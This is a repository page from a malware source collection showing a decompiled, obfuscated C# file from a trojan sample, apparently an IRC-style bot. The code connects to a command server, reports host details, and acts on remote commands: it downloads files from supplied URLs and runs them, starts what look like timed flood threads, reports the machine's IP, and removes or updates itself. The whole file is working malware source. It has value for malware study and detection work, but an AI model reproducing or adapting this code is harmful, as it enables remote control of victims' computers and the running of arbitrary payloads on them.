ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-25 21:05:28 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
9432413cf6
MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0019/_001B.cs
vxunderground f2ac1ece55 auto-decompiled msil via petikvx 
add
2022-08-18 06:28:56 -05:00

401 lines
18 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
using \u0003;
using \u0005;
using \u0019;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
namespace \u0019
{
internal class \u001B
{
[NonSerialized]
internal static \u0002 \u0001;
public static Dictionary<string, string> \u0001;
public static Random \u0002;
public static int \u0003;
public static TcpClient \u0004;
public static string[] \u0005;
public static string \u0006;
public static string \u0007;
public static StreamWriter \u0008;
public static void \u0086([In] string obj0)
{
try
{
\u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, obj0);
\u009E.\u007E\u0016\u0004((object) \u001B.\u0008);
}
catch
{
}
}
public static string \u009A() => \u001A.\u0001 ? \u001B.\u0001(1095) : \u0018\u0002.\u008B\u0002(\u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 9) + \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 9) + \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 9));
public static void \u0087()
{
if (\u001F.\u0001 > 0.0)
\u001F.\u0001 = 0.0;
\u0018 obj = new \u0018();
try
{
\u001B.\u0004 = new TcpClient(obj.\u0001, obj.\u0002);
}
catch
{
\u0083\u0002.\u0014\u0003(5000);
\u001B.\u0087();
return;
}
NetworkStream networkStream = \u0084\u0002.\u007E\u0091((object) \u001B.\u0004);
StreamReader streamReader = new StreamReader((Stream) networkStream);
\u001B.\u0008 = new StreamWriter((Stream) networkStream);
\u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, obj.\u0004);
\u009E.\u007E\u0016\u0004((object) \u001B.\u0008);
object[] objArray1 = new object[9]
{
(object) \u001B.\u0001(1100),
(object) \u001C.\u008A(),
(object) \u001B.\u0001(1105),
(object) \u001C.\u008B(),
(object) \u001B.\u0001(1105),
(object) (\u009F.\u008E\u0002() / 1000),
(object) \u001B.\u0001(1105),
(object) \u001B.\u009A(),
(object) \u001B.\u0001(1110)
};
string str1 = \u0086\u0002.\u001C\u0002(objArray1);
\u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, \u0005\u0003.\u001D\u0002(\u001B.\u0001(1115), str1));
\u009E.\u007E\u0016\u0004((object) \u001B.\u0008);
while (\u0084.\u007E\u0090((object) \u001B.\u0004))
{
try
{
\u001B.\u0006 = \u0098\u0002.\u007E\u0013\u0004((object) streamReader);
}
catch
{
\u009E.\u007E\u0092((object) \u001B.\u0004);
\u009E.\u007E\u0015\u0004((object) \u001B.\u0008);
\u009E.\u007E\u0012\u0004((object) streamReader);
\u0083\u0002.\u0014\u0003(5000);
\u001B.\u0087();
break;
}
if (\u001B.\u0006 == null)
{
\u001B.\u0003 = 0;
\u001B.\u0087();
break;
}
if (\u001B.\u0006 != null)
{
\u001B.\u0005 = \u0090.\u007E\u0016\u0002((object) \u001B.\u0006, new char[1]
{
' '
});
if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[0], \u001B.\u0001(1124)))
{
\u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, \u0005\u0003.\u001D\u0002(\u001B.\u0001(1133), \u001B.\u0005[1]));
\u009E.\u007E\u0016\u0004((object) \u001B.\u0008);
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1142)))
{
\u001B.\u0003 = 1;
\u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, \u009D\u0002.\u001F\u0002(\u001B.\u0001(1147), obj.\u0005, \u001B.\u0001(1156), obj.\u0006));
\u009E.\u007E\u0016\u0004((object) \u001B.\u0008);
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1161)))
{
if (\u001A.\u0001)
{
object[] objArray2 = new object[6]
{
(object) \u001B.\u0001(827),
(object) \u001B.\u0005[3],
(object) \u001B.\u0001(1166),
(object) '\u0002',
(object) \u001B.\u0001(1179),
(object) '\u0002'
};
\u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray2));
\u001A.\u0001 = false;
}
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1208)))
{
string key = \u009E\u0002.\u007E\u0017\u0002((object) \u001B.\u0005[0], \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0005[0], \u001B.\u0001(1217)) + 1);
if (\u001B.\u0001.ContainsKey(key))
\u001B.\u0001.Remove(key);
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1222)))
{
string str2 = \u0001\u0003.\u007E\u0018\u0002((object) \u001B.\u0006, 1, \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0006, \u001B.\u0001(1217)) - 1);
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1231)))
{
string str3 = \u0001\u0003.\u007E\u0018\u0002((object) \u001B.\u0006, 1, \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0006, \u001B.\u0001(1217)) - 1);
string str4 = \u009E\u0002.\u007E\u0017\u0002((object) \u001B.\u0005[0], \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0005[0], \u001B.\u0001(1244)) + 1);
string key = \u009E\u0002.\u007E\u0017\u0002((object) \u001B.\u0005[0], \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0005[0], \u001B.\u0001(1217)) + 1);
\u001B.\u0007 = \u001B.\u0005[3];
\u001B.\u0007 = \u0098\u0002.\u007E\u001B\u0002((object) \u001B.\u0007);
if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1254))) && ((IEnumerable<string>) \u001B.\u0005).Count<string>() >= 5 && \u0082\u0002.\u0012\u0002(\u001B.\u0005[4], obj.\u0008) && !\u001B.\u0001.ContainsKey(key))
{
\u001B.\u0001.Add(key, key);
string[] strArray = new string[7]
{
\u001B.\u0001(827),
obj.\u0005,
\u001B.\u0001(1263),
str3,
\u001B.\u0001(1276),
key,
\u001B.\u0001(1281)
};
\u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray));
}
if (\u001B.\u0001.ContainsKey(key))
{
if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1306))))
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1263), obj.\u0003));
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1319))))
{
\u001B.\u0001.Remove(key);
string[] strArray = new string[5]
{
\u001B.\u0001(827),
obj.\u0005,
\u001B.\u0001(1263),
str3,
\u001B.\u0001(1328)
};
\u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray));
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1353))))
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1362), \u001C.\u008E()));
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1399))))
{
\u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(1408), obj.\u0005, \u001B.\u0001(1421)));
\u001D.\u0093();
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1446))))
{
if (((IEnumerable<string>) \u001B.\u0005).Count<string>() >= 5)
{
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1455), \u001B.\u0005[4]));
\u001B.\u0086(\u0005\u0003.\u001D\u0002(\u001B.\u0001(1147), \u001B.\u0005[4]));
}
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1480))))
{
if (((IEnumerable<string>) \u001B.\u0005).Count<string>() >= 5)
{
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1489), \u001B.\u0005[4]));
\u001B.\u0086(\u0005\u0003.\u001D\u0002(\u001B.\u0001(1514), \u001B.\u0005[4]));
}
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1523))))
{
\u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1532)));
\u001B.\u0086(\u0005\u0003.\u001D\u0002(\u001B.\u0001(1514), \u001B.\u0005[2]));
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(1147), \u001B.\u0005[2], \u001B.\u0001(1156), obj.\u0006));
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1561))))
{
if (((IEnumerable<string>) \u001B.\u0005).Count<string>() >= 5)
{
\u001B.\u0002 = new Random();
string[] strArray = new string[6]
{
\u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(),
\u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(),
\u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(),
\u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(),
\u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(),
\u001B.\u0001(1570)
};
string str5 = \u009C\u0002.\u007F\u0002(strArray);
try
{
string str6 = \u0005\u0003.\u001D\u0002(\u0006\u0003.\u000E(), \u001B.\u0001(1579));
WebClient webClient = new WebClient();
\u0090\u0002.\u007E\u008B((object) webClient, \u001B.\u0005[4], \u0005\u0003.\u001D\u0002(str6, str5));
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1584), str5));
Process process = new Process();
\u0008\u0002.\u007E\u0099((object) \u0096\u0002.\u007E\u0096((object) process), \u0005\u0003.\u001D\u0002(str6, str5));
int num = \u0084.\u007E\u0097((object) process) ? 1 : 0;
\u0083\u0002.\u008F\u0002(0);
}
catch (Exception ex)
{
object[] objArray3 = new object[4]
{
(object) \u001B.\u0001(827),
(object) obj.\u0005,
(object) \u001B.\u0001(1617),
(object) ex
};
\u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray3));
}
}
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1650))))
{
if (\u001F.\u0001 <= 0.0)
\u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1663)));
else
\u001F.\u0001 = 0.0;
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1716))))
{
if (\u001F.\u0001 > 0.0)
\u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1721)));
else if (((IEnumerable<string>) \u001B.\u0005).Count<string>() >= 7)
{
try
{
// ISSUE: object of a compiler-generated type is created
// ISSUE: reference to a compiler-generated method
ThreadStart start = new ThreadStart(new \u001B.\u009B()
{
\u0001 = \u009B.\u0089\u0002(\u001B.\u0005[5]),
\u0002 = (double) \u008D\u0002.\u008A\u0002(\u001B.\u0005[6])
}.\u0098);
\u009E.\u0013\u0003((object) new Thread(start));
}
catch
{
string[] strArray = new string[5]
{
\u001B.\u0001(827),
obj.\u0005,
\u001B.\u0001(1774),
obj.\u0007,
\u001B.\u0001(1799)
};
\u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray));
}
}
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1884))))
{
string str7 = \u001B.\u0001(1889);
try
{
str7 = \u0098\u0002.\u007E\u000F\u0002((object) \u008A\u0002.\u007E\u0089((object) \u0016\u0002.\u0086(\u0006\u0003.\u0084()))[0]);
}
catch
{
}
\u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1156), str7));
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1946))))
{
string[] strArray = new string[5]
{
\u001B.\u0001(827),
obj.\u0005,
\u001B.\u0001(1955),
\u0006\u0003.\u000E(),
\u001B.\u0001(1579)
};
\u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray));
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1980))))
{
if (((IEnumerable<string>) \u001B.\u0005).Count<string>() >= 7)
{
string str8 = \u001B.\u0005[5];
string str9 = \u0005\u0003.\u001D\u0002(\u0006\u0003.\u000E(), \u001B.\u0001(1579));
try
{
WebClient webClient = new WebClient();
\u0090\u0002.\u007E\u008B((object) webClient, \u001B.\u0005[4], \u0005\u0003.\u001D\u0002(str9, str8));
string[] strArray1 = new string[6]
{
\u001B.\u0001(827),
obj.\u0005,
\u001B.\u0001(1993),
\u001B.\u0005[4],
\u001B.\u0001(2022),
str8
};
\u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray1));
if (\u0082\u0002.\u0013\u0002(\u001B.\u0005[6], \u001B.\u0001(660)))
{
try
{
Process process = new Process();
\u0008\u0002.\u007E\u0099((object) \u0096\u0002.\u007E\u0096((object) process), \u0005\u0003.\u001D\u0002(str9, str8));
int num = \u0084.\u007E\u0097((object) process) ? 1 : 0;
string[] strArray2 = new string[5]
{
\u001B.\u0001(827),
obj.\u0005,
\u001B.\u0001(2031),
str9,
str8
};
\u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray2));
}
catch (Exception ex)
{
object[] objArray4 = new object[4]
{
(object) \u001B.\u0001(827),
(object) obj.\u0005,
(object) \u001B.\u0001(2068),
(object) ex
};
\u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray4));
}
}
}
catch (Exception ex)
{
object[] objArray5 = new object[4]
{
(object) \u001B.\u0001(827),
(object) obj.\u0005,
(object) \u001B.\u0001(2117),
(object) ex
};
\u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray5));
}
}
}
else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(2158))))
{
\u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(1408), obj.\u0005, \u001B.\u0001(2167)));
\u001D.\u0094();
}
}
}
}
}
}
static \u001B()
{
\u0004.\u007F();
\u001B.\u0001 = new Dictionary<string, string>();
\u001B.\u0002 = new Random();
\u001B.\u0003 = 0;
}
}
}
Reference in New Issue View Git Blame Copy Permalink